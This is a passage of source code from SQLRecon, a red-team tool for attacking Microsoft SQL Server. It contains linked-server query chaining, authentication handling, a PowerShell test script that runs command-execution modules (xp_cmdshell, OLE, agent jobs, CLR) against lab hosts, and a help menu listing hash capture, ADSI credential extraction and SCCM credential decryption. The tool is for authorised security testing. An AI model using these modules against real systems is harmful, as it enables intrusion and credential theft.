(int)Math.Pow(2, ticks))); 153 | 154 | // Recursively build the nested query for the rest of the path. 155 | string[] subPath = new string[linkedSqlServerChain.Length - 1]; 156 | Array.Copy(linkedSqlServerChain, 1, subPath, 0, linkedSqlServerChain.Length - 1); 157 | 158 | stringBuilder.Append(LinkedChainQuery(subPath, query, ticks + 1)); 159 | // Recursive call with incremented ticks. 160 | stringBuilder.Append(new string('\'', (int)Math.Pow(2, ticks))); 161 | stringBuilder.Append(")"); 162 | 163 | return stringBuilder.ToString(); 164 | } 165 | 166 | /// 167 | /// The LinkedChainRpcQuery method constructs a nested EXEC AT statement for querying linked SQL servers in a chain. 168 | /// Credit to Azaël MARTIN (n3rada). 169 | /// 170 | /// 171 | /// 172 | /// 173 | private static string _linkedChainRpcQuery(string[] linkedSqlServerChain, string query) 174 | { 175 | string currentQuery = query; 176 | 177 | // Start from the end of the array and skip the first element ("0") 178 | for (int i = linkedSqlServerChain.Length - 1; i > 0; i--) 179 | { 180 | string server = linkedSqlServerChain[i]; 181 | // Double single quotes to escape them in the SQL string 182 | currentQuery = $"EXEC ('{currentQuery.Replace("'", "''")}') AT {server}"; 183 | } 184 | 185 | return currentQuery; 186 | } 187 | } 188 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/SetAuthenticationType.cs: -------------------------------------------------------------------------------- 1 | using System.Data.SqlClient; 2 | using SQLRecon.Commands; 3 | 4 | namespace SQLRecon.Utilities 5 | { 6 | internal abstract class SetAuthenticationType 7 | { 8 | /// 9 | /// The EvaluateAuthenticationType method is responsible for creating 10 | /// a SQL connection object. This object is used by SQLRecon to manage 11 | /// the connection to a database. The connection object will be stored 12 | /// in the Var.Connect global variable for use throughout the program. 13 | /// 14 | /// User supplied command line argument for authentication type. 15 | internal static bool EvaluateAuthenticationType(string authType) 16 | { 17 | switch (authType) 18 | { 19 | case "wintoken": 20 | return _winToken(authType); 21 | case "windomain": 22 | return _winDomain(authType); 23 | case "local": 24 | return _local(authType); 25 | case "entraid": 26 | return _entraId(authType); 27 | case "azurelocal": 28 | return _azureLocal(authType); 29 | default: 30 | Print.Error("Set a valid authentication type.", true); 31 | return false; 32 | } 33 | } 34 | 35 | /// 36 | /// The CreateSqlConnectionObject method creates a SQL connection object. 37 | /// This method can be particularly useful if you want to create multiple SQL connection objects. 38 | /// A single SQL connection object will only allow one instance of a 'SqlDataReader'. 39 | /// If you are writing a module where you need to execute multiple SQL queries against a database 40 | /// at the exact same time, then this module will facilitate that. Such as the Adsi module. 41 | /// 42 | /// A SQL connection object based on the current authentication type, or null if the authentication type is invalid. 43 | internal static SqlConnection CreateSqlConnectionObject() 44 | { 45 | SqlConnection connection; 46 | string serverInfo = $"{Var.SqlServer},{Var.Port}"; 47 | switch (Var.AuthenticationType) 48 | { 49 | case "wintoken": 50 | connection = SqlAuthentication.WindowsToken(serverInfo, Var.Database); 51 | break; 52 | case "windomain": 53 | connection = SqlAuthentication.WindowsDomain(serverInfo, Var.Database, Var.Domain, Var.Username, Var.Password); 54 | break; 55 | case "local": 56 | connection = SqlAuthentication.LocalAuthentication(serverInfo, Var.Database, Var.Username, Var.Password); 57 | break; 58 | case "entraid": 59 | connection = SqlAuthentication.EntraIdAuthentication(serverInfo, Var.Database, Var.Domain, Var.Username, Var.Password); 60 | break; 61 | case "azurelocal": 62 | connection = SqlAuthentication.AzureLocalAuthentication(serverInfo, Var.Database, Var.Username, Var.Password); 63 | break; 64 | default: 65 | Print.Error("Set a valid authentication type.", true); 66 | return null; 67 | } 68 | 69 | return connection; 70 | } 71 | 72 | /// 73 | /// The _winToken method is called if the authentication type is WinToken. 74 | /// This requires a SQL server; otherwise, an error message is displayed. 75 | /// 76 | /// Authentication type. 77 | /// True if the connection is successfully created, false otherwise. 78 | private static bool _winToken(string authType) 79 | { 80 | if (authType.ToLower().Equals("wintoken") && 81 | !string.IsNullOrEmpty(Var.SqlServer)) 82 | { 83 | // Create the SQL connection object 84 | Var.Connect = CreateSqlConnectionObject(); 85 | return Var.Connect != null; 86 | } 87 | else 88 | { 89 | Print.Error("Must supply a SQL server (/h:, /host:).", true); 90 | // Go no further 91 | return false; 92 | } 93 | } 94 | 95 | /// 96 | /// The _winDomain method is called if the authentication type is WinDomain. 97 | /// This requires a SQL server, domain, username, and password; 98 | /// otherwise, an error message is displayed. 99 | /// 100 | /// Authentication type. 101 | /// True if the connection is successfully created, false otherwise. 102 | private static bool _winDomain(string authType) 103 | { 104 | if (authType.ToLower().Equals("windomain") && 105 | !string.IsNullOrEmpty(Var.SqlServer) && 106 | !string.IsNullOrEmpty(Var.Domain) && 107 | !string.IsNullOrEmpty(Var.Username) && 108 | !string.IsNullOrEmpty(Var.Password)) 109 | { 110 | // Create the SQL connection object 111 | Var.Connect = CreateSqlConnectionObject(); 112 | return Var.Connect != null; 113 | } 114 | else 115 | { 116 | Print.Error("Must supply a SQL server (/h:, /host:), domain (/d:, /domain:), username (/u:, /username:), " + 117 | "and password (/p: /password:).", true); 118 | // Go no further 119 | return false; 120 | } 121 | } 122 | 123 | /// 124 | /// The _local method is called if the authentication type is Local. 125 | /// This requires a SQL server, username, and password; 126 | /// otherwise, an error message is displayed. 127 | /// 128 | /// Authentication type. 129 | /// True if the connection is successfully created, false otherwise. 130 | private static bool _local(string authType) 131 | { 132 | if (authType.ToLower().Equals("local") && 133 | !string.IsNullOrEmpty(Var.SqlServer) && 134 | !string.IsNullOrEmpty(Var.Username) && 135 | !string.IsNullOrEmpty(Var.Password)) 136 | { 137 | // Create the SQL connection object 138 | Var.Connect = CreateSqlConnectionObject(); 139 | return Var.Connect != null; 140 | } 141 | else 142 | { 143 | Print.Error("Must supply a SQL server (/h:, /host:), username (/u:, /username:), and password (/p: /password:).", true); 144 | // Go no further 145 | return false; 146 | } 147 | } 148 | 149 | /// 150 | /// The _entraId method is called if the authentication type is EntraID. 151 | /// This requires a SQL server, domain, username, and password; 152 | /// otherwise, an error message is displayed. 153 | /// 154 | /// Authentication type. 155 | /// True if the connection is successfully created, false otherwise. 156 | private static bool _entraId(string authType) 157 | { 158 | if (authType.ToLower().Equals("entraid") && 159 | !string.IsNullOrEmpty(Var.SqlServer) && 160 | !string.IsNullOrEmpty(Var.Domain) && 161 | !string.IsNullOrEmpty(Var.Username) && 162 | !string.IsNullOrEmpty(Var.Password)) 163 | { 164 | if (!Var.Domain.Contains(".")) 165 | { 166 | Print.Error("Domain (/d:, /domain:) must be the fully qualified domain name (domain.com).", true); 167 | // Go no further 168 | return false; 169 | } 170 | else 171 | { 172 | // Create the SQL connection object 173 | Var.Connect = CreateSqlConnectionObject(); 174 | return Var.Connect != null; 175 | } 176 | } 177 | else 178 | { 179 | Print.Error("Must supply a SQL server (/h:, /host:), domain (/d:, /domain:), username (/u:, /username:), and password (/p: /password:).", true); 180 | // Go no further 181 | return false; 182 | } 183 | } 184 | 185 | /// 186 | /// The _azureLocal method is called if the authentication type is AzureLocal. 187 | /// This requires a SQL server, username, and password; 188 | /// otherwise, an error message is displayed. 189 | /// 190 | /// Authentication type. 191 | /// True if the connection is successfully created, false otherwise. 192 | private static bool _azureLocal(string authType) 193 | { 194 | if (authType.ToLower().Equals("azurelocal") && 195 | !string.IsNullOrEmpty(Var.SqlServer) && 196 | !string.IsNullOrEmpty(Var.Username) && 197 | !string.IsNullOrEmpty(Var.Password)) 198 | { 199 | // Create the SQL connection object 200 | Var.Connect = CreateSqlConnectionObject(); 201 | return Var.Connect != null; 202 | } 203 | else 204 | { 205 | Print.Error("Must supply a SQL server (/h:, /host:), username (/u:, /username:), and password (/p: /password:).", true); 206 | // Go no further 207 | return false; 208 | } 209 | } 210 | } 211 | } -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/tests/SQLRecon-Standard-Modules-Test.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Execution instructions: 3 | powershell.exe -nop -exec bypass .\SQLRecon-Standard-Modules-Test.ps1 4 | #> 5 | 6 | <# 7 | The $global:* variables do not need to be changed. 8 | The only exception is $global:modules, which can be 9 | changed to match the number of test cases you execute. 10 | #> 11 | $global:count = 1 12 | $global:modules = 72 13 | $global:timestamp = Get-Date -Format "MM-dd-yyyy-HH-mm" 14 | 15 | <# 16 | The $authentication variable acts as a quick way to 17 | switch the authentication type for the following commands. 18 | #> 19 | $authentication = "WinToken" 20 | #$authentication = "WinDomain /domain:kawalabs /username:jsmith /password:Password123" 21 | #$authentication = "WinDomain /domain:kawalabs /username:admin /password:Password123" 22 | #$authentication = "Local /username:sa /password:Password123" 23 | #$authentication = "EntraID /domain:x.onmicrosoft.com /username:jsmith /password:Password123" 24 | #$authentication = "AzureLocal /username:sa /password:Password123" 25 | 26 | <# 27 | The following variables can be changed. 28 | - $sqlreconPath is the path to where SQLRecon is on disk. 29 | - $server1 is the hostname or IP of a SQL server. 30 | - $server2 is the hostname or IP of a SQL server, I use this for linked SQL servers. 31 | - $server3 is the hostname or IP of a SQL server, you might not need this. 32 | - $server4 is the hostname or IP of a SQL server, you might not need this. 33 | - $server5 is the hostname or IP of a SQL server, you might not need this. 34 | - outputPath is where you want to output the results of this script on disk in markdown. 35 | keep in mind that the path can not have special characters like ':'. '-' is fine. 36 | #> 37 | $sqlreconPath = ".\SQLRecon.exe" 38 | $server1 = "SQL01" 39 | $server2 = "SQL02" 40 | $server3 = "SQL03" 41 | $server4 = "MECM01" 42 | $server5 = "sqlrecon.database.windows.net" 43 | $authenticationFormatted = $authentication.replace(' ','-').replace('/','').replace('.','-').replace(':','-') 44 | $outputPath = $PSScriptRoot + "\sqlrecon-standard-$authenticationFormatted-$global:timestamp.md" 45 | 46 | <# 47 | .Description 48 | The Execute function executes a supplied SQLRecon command. 49 | #> 50 | Function Execute($command) 51 | { 52 | Write-Output "($global:count/$global:modules)" 53 | Write-Output $command 54 | Write-Output "" 55 | Write-Output "Expected Output:" 56 | Write-Output '```' 57 | Invoke-Expression $command 58 | Write-Output '```' 59 | Write-Output "" 60 | $global:count++ 61 | } 62 | 63 | # Configuring output to file. 64 | $ErrorActionPreference="SilentlyContinue" 65 | Stop-Transcript | out-null 66 | $ErrorActionPreference = "Continue" 67 | Start-Transcript -path $outputPath 68 | 69 | Write-Output "---------------------------------------------------------------------" 70 | Write-Output "[+] SQLRecon - Standard Modules Test Cases" 71 | Write-Output "[+] Variables Set:" 72 | Write-Output " |-> SQLRecon Path: $sqlreconPath" 73 | Write-Output " |-> Ouput Path: $outputPath" 74 | Write-Output " |-> Authentication: $authentication" 75 | Write-Output " |-> SQL Server 1: $server1" 76 | Write-Output " |-> SQL Server 2: $server2" 77 | Write-Output " |-> SQL Server 3: $server3" 78 | Write-Output " |-> SQL Server 4: $server4" 79 | Write-Output " |-> SQL Server 4: $server5" 80 | Write-Output "[+] Starting test cases against $modules modules at $global:timestamp" 81 | Write-Output "---------------------------------------------------------------------" 82 | Write-Output "" 83 | 84 | # Add test cases in this area. In this case there are 72, which is why $global:modules is set to 72. 85 | Write-Output "" 86 | Write-Output "[+] Executing commands - expected to fail to validate error handling" 87 | Write-Output "" 88 | Execute "$sqlreconPath /h" 89 | Execute "$sqlreconPath /auth:invalidauth" 90 | Execute "$sqlreconPath /auth:$authentication /host:invalidhost" 91 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:invalidmodule" 92 | Execute "$sqlreconPath /module" 93 | Execute "$sqlreconPath /enum" 94 | Execute "$sqlreconPath /enum:info" 95 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:columns" 96 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:query" 97 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:query /c:'invalid query'" 98 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /database:Payments /m:query /c:'select * from cc'" 99 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:rows" 100 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:search" 101 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:smb" 102 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:tables" 103 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:columns /db:invaliddb /table:invalidtable" 104 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:columns /db:Payments /table:cc" 105 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /database:invaliddb /m:query /c:'select * from invalidtable'" 106 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:rows /db:invaliddb /table:invalidtable" 107 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:rows /db:AdventureWorks /table:SalesLT.Customer" 108 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /database:invaliddb /m:search /keyword:card" 109 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /database:Payments /m:search /keyword:card" 110 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:tables /db:invalidtable" 111 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:disablerpc" 112 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /module:enablerpc" 113 | Execute "$sqlreconPath /auth:$authentication /host:$server3 /module:adsi" 114 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /module:agentcmd" 115 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:clr" 116 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:clr /dll:invalidpath /function:invalidfunction" 117 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /module:olecmd" 118 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /module:xpcmd" 119 | Write-Output "" 120 | Write-Output "[+] Executing unprivileged commands" 121 | Write-Output "" 122 | Execute "$sqlreconPath /help" 123 | Execute "$sqlreconPath /enum:sqlspns" 124 | Execute "$sqlreconPath /enum:sqlspns /domain:kawalabs.local" 125 | Execute "$sqlreconPath /enum:info /port:1434 /timeout:1 /host:172.16.10.101,$server2" 126 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:checkrpc" 127 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:auditstatus" 128 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:databases" 129 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:impersonate" 130 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:info" 131 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:links" 132 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:users" 133 | Execute "$sqlreconPath /auth:$authentication /host:$server2,$server3 /m:whoami" 134 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:columns /db:Payments /table:cc" 135 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:query /database:Payments /c:'select * from cc'" 136 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:rows /db:AdventureWorks /table:SalesLT.Customer" 137 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:search /db:Payments /keyword:card" 138 | Execute "$sqlreconPath /auth:$authentication /host:$server3 /m:smb /unc:\\172.16.10.21\test" 139 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:tables /db:AdventureWorks" 140 | Write-Output "" 141 | Write-Output "[+] Executing privileged commands" 142 | Write-Output "" 143 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:disablerpc /rhost:$server1\sqlexpress" 144 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:disablerpc /rhost:$server2" 145 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:disablerpc /rhost:$server3" 146 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:disablerpc /rhost:$server3" 147 | Execute "$sqlreconPath /auth:$authentication /host:$server3 /m:disablerpc /rhost:$server4" 148 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:enablerpc /rhost:$server1\sqlexpress" 149 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:enablerpc /rhost:$server2" 150 | Execute "$sqlreconPath /auth:$authentication /host:$server1 /m:enablerpc /rhost:$server3" 151 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:enablerpc /rhost:$server3" 152 | Execute "$sqlreconPath /auth:$authentication /host:$server3 /m:enablerpc /rhost:$server4" 153 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2,$server3,$server4 /m:disableclr" 154 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2,$server3,$server4 /m:disableole" 155 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2,$server3,$server4 /m:disablexp" 156 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2,$server3,$server4 /m:enableole" 157 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2,$server3,$server4 /m:enableclr" 158 | Execute "$sqlreconPath /auth:$authentication /host:$server1,$server2,$server3,$server4 /m:enablexp" 159 | Execute "$sqlreconPath /auth:$authentication /host:$server3 /m:adsi /adsi:linkadsi /lport:30000" 160 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:agentstatus" 161 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:agentcmd /subsystem:cmdexec /command:'c:\temp\mb-s1.exe'" 162 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:agentcmd /c:'c:\temp\mb-s2.exe'" 163 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /module:clr /dll:'c:\temp\sql.dll' /function:Chicken" 164 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:olecmd /c:'c:\temp\mb-s3.exe'" 165 | Execute "$sqlreconPath /auth:$authentication /host:$server2 /m:xpcmd /c:'tasklist'" 166 | Write-Output "---------------------------------------------------------------------" 167 | Write-Output "[+] SQLRecon - Standard Modules Test Cases" 168 | Write-Output "[+] Completed test cases against $modules modules at $global:timestamp" 169 | Write-Output "---------------------------------------------------------------------" 170 | Stop-Transcript -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/utilities/Help.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | 5 | namespace SQLRecon.Utilities 6 | { 7 | internal class Help 8 | { 9 | /// 10 | /// The Help constructor prints the help menu to console. 11 | /// 12 | internal Help() 13 | { 14 | Console.WriteLine(""); 15 | Console.WriteLine("SQLRecon"); 16 | Console.WriteLine("Version: 3.10"); 17 | Console.WriteLine("Wiki: github.com/skahwah/SQLRecon"); 18 | 19 | Console.WriteLine(""); 20 | _border(90); 21 | Console.WriteLine("[+] Enumeration Modules (/e:, /enum:) do not require authentication to be supplied."); 22 | _border(90); 23 | Console.WriteLine(""); 24 | Console.WriteLine("Info - Show information about the SQL server"); 25 | _nested(10, "/h:, /host -> SQL server hostname or IP. Multiple hosts supported."); 26 | _nested(10, "/port: -> (OPTIONAL) Defaults to 1434 (UDP)."); 27 | _nested(10, "/t:, timeout: -> (OPTIONAL) Defaults to 3s."); 28 | Console.WriteLine("SqlSpns - Use the current user token to enumerate the AD domain for MSSQL SPNs."); 29 | _nested(10, "/d:, /domain: -> (OPTIONAL) NETBIOS name or FQDN of domain."); 30 | 31 | Console.WriteLine(""); 32 | _border(90); 33 | Console.WriteLine("[+] SQL Authentication Providers (/a:, /auth:) "); 34 | _border(90); 35 | Console.WriteLine(); 36 | Console.WriteLine("WinToken - Use the current users token to authenticate against the SQL database."); 37 | _nested(13, "/h:, /host: -> SQL server hostname or IP. Multiple hosts supported."); 38 | Console.WriteLine("WinDomain - Use AD credentials to authenticate against the SQL database."); 39 | _nested(13, "/h:, /host: -> SQL server hostname or IP. Multiple hosts supported."); 40 | _nested(13, "/d:, /domain: -> NETBIOS name or FQDN of domain."); 41 | _nested(13, "/u:, /username: -> Username for domain user."); 42 | _nested(13, "/p:, /password: -> Password for domain user."); 43 | Console.WriteLine("Local - Use local SQL credentials to authenticate against the SQL database."); 44 | _nested(13, "/h:, /host: -> SQL server hostname or IP. Multiple hosts supported."); 45 | _nested(13, "/u:, /username: -> Username for local SQL user."); 46 | _nested(13, "/p:, /password: -> Password for local SQL user."); 47 | Console.WriteLine("EntraID - Use Azure Entra ID credentials to authenticate against the Azure SQL database."); 48 | _nested(13, "/h:, /host: -> SQL server hostname or IP. Multiple hosts supported."); 49 | _nested(13, "/d:, /domain: -> FQDN of domain (DOMAIN.COM)."); 50 | _nested(13, "/u:, /username: -> Username for domain user. "); 51 | _nested(13, "/p:, /password: -> Password for domain user. "); 52 | Console.WriteLine("AzureLocal - Use local SQL credentials to authenticate against the Azure SQL database."); 53 | _nested(13, "/h:, /host: -> SQL server hostname or IP. Multiple hosts supported."); 54 | _nested(13, "/u:, /username: -> Username for local SQL user."); 55 | _nested(13, "/p:, /password: -> Password for local SQL user."); 56 | Console.WriteLine("OPTIONAL - The following arguments are supported by all providers and modules."); 57 | _nested(13, "/database: -> (OPTIONAL) SQL server database name, defaults to 'master'."); 58 | _nested(13, "/debug -> (OPTIONAL) Display queries used by a module, but do not execute."); 59 | _nested(13, "/port: -> (OPTIONAL) Defaults to 1433 (TCP)."); 60 | _nested(13, "/t:, timeout: -> (OPTIONAL) Defaults to 3s."); 61 | _nested(13, "/v, verbose -> (OPTIONAL) Display and execute queries used by a module."); 62 | 63 | Console.WriteLine(""); 64 | _border(90); 65 | Console.WriteLine("[+] SQL Modules (/m:, /module:) require an authentication provider to be supplied."); 66 | _border(90); 67 | Console.WriteLine(""); 68 | Console.WriteLine("[M] - The module supports execution against multiple comma separated SQL servers supplied in /h:, /host:"); 69 | Console.WriteLine("[I] - The module supports execution against SQL servers with a impersonated user (/i:, /iuser:)"); 70 | Console.WriteLine("[L] - The module supports execution against multiple comma separated linked SQL server supplied in /l:, /link:"); 71 | Console.WriteLine("[C] - The module supports execution against the final linked SQL server in a chain."); 72 | _nested(6, "/l:, link -> The linked SQL server path separated by commas."); 73 | _nested(6, "/chain -> Supply this flag to enable chained execution mode."); 74 | Console.WriteLine("[*] - The module requires a privileged context to execute."); 75 | Console.WriteLine(""); 76 | 77 | Dictionary dict = new Dictionary() 78 | { 79 | { "AuditStatus","[M,I,L,C] Check if SQL auditing is in place." }, 80 | { "CheckRpc","[M,I,L,C] Obtain a list of linked servers and their RPC status." }, 81 | { "Databases","[M,I,L,C] Display all databases." }, 82 | { "Impersonate","[M,I,L,C] Enumerate user accounts that can be impersonated." }, 83 | { "Info","[M,I,L,C] Show information about the SQL server." }, 84 | { "Links","[M,I,L,C] Enumerate linked SQL servers." }, 85 | { "Users","[M,I,L,C] Display what user accounts and groups can authenticate against the database." }, 86 | { "Whoami","[M,I,L,C] Display your privileges." }, 87 | { "Query /c:QUERY","[M,I,L,C] Execute a SQL query." }, 88 | { "Smb /unc:UNC_PATH","[M,I,L,C] Capture NetNTLMv2 hash." }, 89 | { "Columns /db:DATABASE /table:TABLE","[M,I,L,C] Display all columns in the supplied database and table." }, 90 | { "Rows /db:DATABASE /table:TABLE","[M,I,L,C] Display the number of rows in the supplied database table." }, 91 | { "Search /keyword:KEYWORD","[M,I,L,C] Search column names in the supplied table of the database you are connected to." }, 92 | { "Tables /db:DATABASE","[M,I,L,C] Display all tables in the supplied database." }, 93 | { "EnableRpc /rhost:LINKED_HOST","[*,M,I] Enable RPC and RPC out on a linked server." }, 94 | { "EnableClr","[*,M,I,L,C] Enable CLR integration." }, 95 | { "EnableOle","[*,M,I,L,C] Enable OLE automation procedures." }, 96 | { "EnableXp","[*,M,I,L,C] Enable xp_cmdshell." }, 97 | { "DisableRpc /rhost:LINKED_HOST","[*,M,I] Disable RPC and RPC out on a linked server." }, 98 | { "DisableClr","[*,M,I,L,C] Disable CLR integration." }, 99 | { "DisableOle","[*,M,I,L,C] Disable OLE automation procedures." }, 100 | { "DisableXp","[*,M,I,L,C] Disable xp_cmdshell." }, 101 | { "AgentStatus","[*,M,I,L,C] Display if SQL agent is running and obtain agent jobs." }, 102 | { "AgentCmd /c:COMMAND","[*,M,I,L,C] Execute a system command using agent jobs." }, 103 | { "Adsi /adsi:SERVER_NAME /lport:LOCAL_PORT","[*,M,I,L,C] Obtain cleartext ADSI credentials from a linked ADSI server." }, 104 | { "Clr /dll:DLL /function:FUNCTION","[*,M,I,L,C] Load and execute a .NET assembly in a custom stored procedure." }, 105 | { "OleCmd /c:COMMAND /subsystem:(OPTIONAL","[*,M,I,L,C] Execute a system command using OLE automation procedures." }, 106 | { "XpCmd /c:COMMAND","[*,M,I,L,C] Execute a system command using xp_cmdshell." } 107 | }; 108 | 109 | _printDictionary(dict); 110 | 111 | Console.WriteLine(""); 112 | _border(90); 113 | Console.WriteLine("SCCM Modules (/s:, /sccm:)"); 114 | _border(90); 115 | dict = new Dictionary() 116 | { 117 | { "Users", "[I] Display all SCCM users." }, 118 | { "Sites", "[I] Display all other sites with data stored." }, 119 | { "Logons", "[I] Display all associated SCCM clients and the last logged in user." }, 120 | { "CIData", "[I] Display all SCCM configuration items configured to run scripts." }, 121 | { "Credentials", "[I] Display encrypted credentials vaulted by SCCM." }, 122 | { "ScriptData", "[I] Display all configured SCCM scripts." }, 123 | { "TaskList", "[I] Display all task sequences, but do not access the task data contents." }, 124 | { "TaskData", "[I] Decrypt all task sequences to plaintext." }, 125 | { "[*] DecryptCredentials", "[*] Decrypt an SCCM credential blob. Must execute in a high-integrity or SYSTEM process on the SCCM server." }, 126 | { "[*] AddAdmin /user:DOMAIN\\USERNAME /sid:SID", "[*, I] Elevate a supplied account to a 'Full Administrator' in SCCM." }, 127 | { "[*] RemoveAdmin /user:ADMIN_ID /remove:STRING", "[*, I] Removes privileges of a user, or remove a user entirely from the SCCM database." } 128 | }; 129 | _printDictionary(dict); 130 | } 131 | 132 | private void _padSpaces(string column1, int spaces, string delimeter, string column2) 133 | { 134 | string result = column1.PadRight(spaces, ' ') + delimeter + column2; 135 | Console.WriteLine(result); 136 | } 137 | 138 | private void _printDictionary(Dictionary dict, bool nested = false) 139 | { 140 | // Determine the longest key in the dictionary 141 | int padding = dict.Max(t => t.Key.Length); 142 | string delimeter = " - "; 143 | 144 | if (nested) 145 | { 146 | foreach (KeyValuePair entry in dict) 147 | { 148 | _padSpaces(entry.Key, padding, delimeter, entry.Value); 149 | 150 | if (entry.Key.StartsWith("/")) 151 | { 152 | delimeter = " -> "; 153 | _padSpaces(entry.Key, padding + 2, delimeter, entry.Value); 154 | } 155 | 156 | } 157 | } 158 | else 159 | { 160 | foreach (KeyValuePair entry in dict) 161 | { 162 | _padSpaces(entry.Key, padding, delimeter, entry.Value); 163 | } 164 | } 165 | } 166 | 167 | /// 168 | /// The _nested method will print a nested string with left space padding. 169 | /// 170 | /// 171 | /// 172 | private void _nested(int spaces, string str) 173 | { 174 | string space = new string (' ', spaces); 175 | Console.WriteLine(string.Format($"{space}{str}")); 176 | } 177 | 178 | /// 179 | /// The _border method will print hyphens. 180 | /// 181 | /// 182 | private void _border(int dashes) 183 | { 184 | string dash = new string ('-', dashes); 185 | Console.WriteLine(dash); 186 | } 187 | } 188 | } 189 | 190 | -------------------------------------------------------------------------------- /SQLRecon/SQLRecon/modules/Info.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using SQLRecon.Commands; 7 | using SQLRecon.Utilities; 8 | 9 | namespace SQLRecon.Modules 10 | { 11 | internal abstract class Info 12 | { 13 | /// 14 | /// The StandardOrImpersonation method will connect to a SQL server 15 | /// and obtain information about the local SQL server instance. 16 | /// 17 | internal static void StandardOrImpersonation(string impersonate = null) 18 | { 19 | // The queries dictionary contains all queries used by this module 20 | Dictionary queries = new Dictionary 21 | { 22 | { "ComputerName", Query.GetComputerName }, 23 | { "DomainName", Query.GetDomainName }, 24 | { "ServicePid", Query.GetServicePid }, 25 | { "OsMachineType", Query.GetOsMachineType }, 26 | { "OsVersion", Query.GetOsVersion }, 27 | { "SqlServerServiceName", Query.GetSqlServerServiceName }, 28 | { "SqlServiceAccountName", Query.GetSqlServiceAccountName }, 29 | { "AuthenticationMode", Query.GetAuthenticationMode }, 30 | { "ForcedEncryption", Query.GetForcedEncryption }, 31 | { "Clustered", Query.GetClustered }, 32 | { "SqlVersionNumber", Query.GetSqlVersionNumber }, 33 | { "SqlMajorVersionNumber", Query.GetSqlMajorVersionNumber }, 34 | { "SqlServerEdition", Query.GetSqlServerEdition }, 35 | { "SqlServerServicePack", Query.GetSqlServerServicePack }, 36 | { "OsArchitecture", Query.GetOsArchitecture }, 37 | { "OsVersionNumber", Query.GetOsVersionNumber }, 38 | { "CurrentLogon", Query.GetCurrentLogon }, 39 | { "ActiveSessions", Query.GetActiveSessions } 40 | }; 41 | 42 | // If impersonation is set, then prepend all queries with the 43 | // "EXECUTE AS LOGIN = '" + impersonate + "'; " statement. 44 | if (!string.IsNullOrEmpty(impersonate)) 45 | { 46 | queries = Format.ImpersonationDictionary(impersonate, queries); 47 | } 48 | 49 | // Check to see if the user is a sysadmin. Consider impersonation. 50 | bool sysadmin = (string.IsNullOrEmpty(impersonate)) 51 | ? Roles.CheckRoleMembership(Var.Connect, "sysadmin") 52 | : Roles.CheckRoleMembership(Var.Connect, "sysadmin", Var.Impersonate); 53 | 54 | // Remove certain queries from the dictionary if the user is not a sysadmin 55 | if (sysadmin == false) 56 | { 57 | queries.Remove("OsMachineType"); 58 | queries.Remove("OsVersion"); 59 | } 60 | 61 | Dictionary results = new Dictionary(); 62 | 63 | foreach (KeyValuePair entry in queries) 64 | { 65 | results.Add(entry.Key, Sql.Query(Var.Connect, queries[entry.Key])); 66 | } 67 | 68 | Console.WriteLine(); 69 | Console.WriteLine(Print.ConvertDictionaryToMarkdownTable(results, "Object", "Value")); 70 | } 71 | 72 | /// 73 | /// The LinkedOrChain method will connect to a linked SQL server 74 | /// and obtain information about the local SQL server 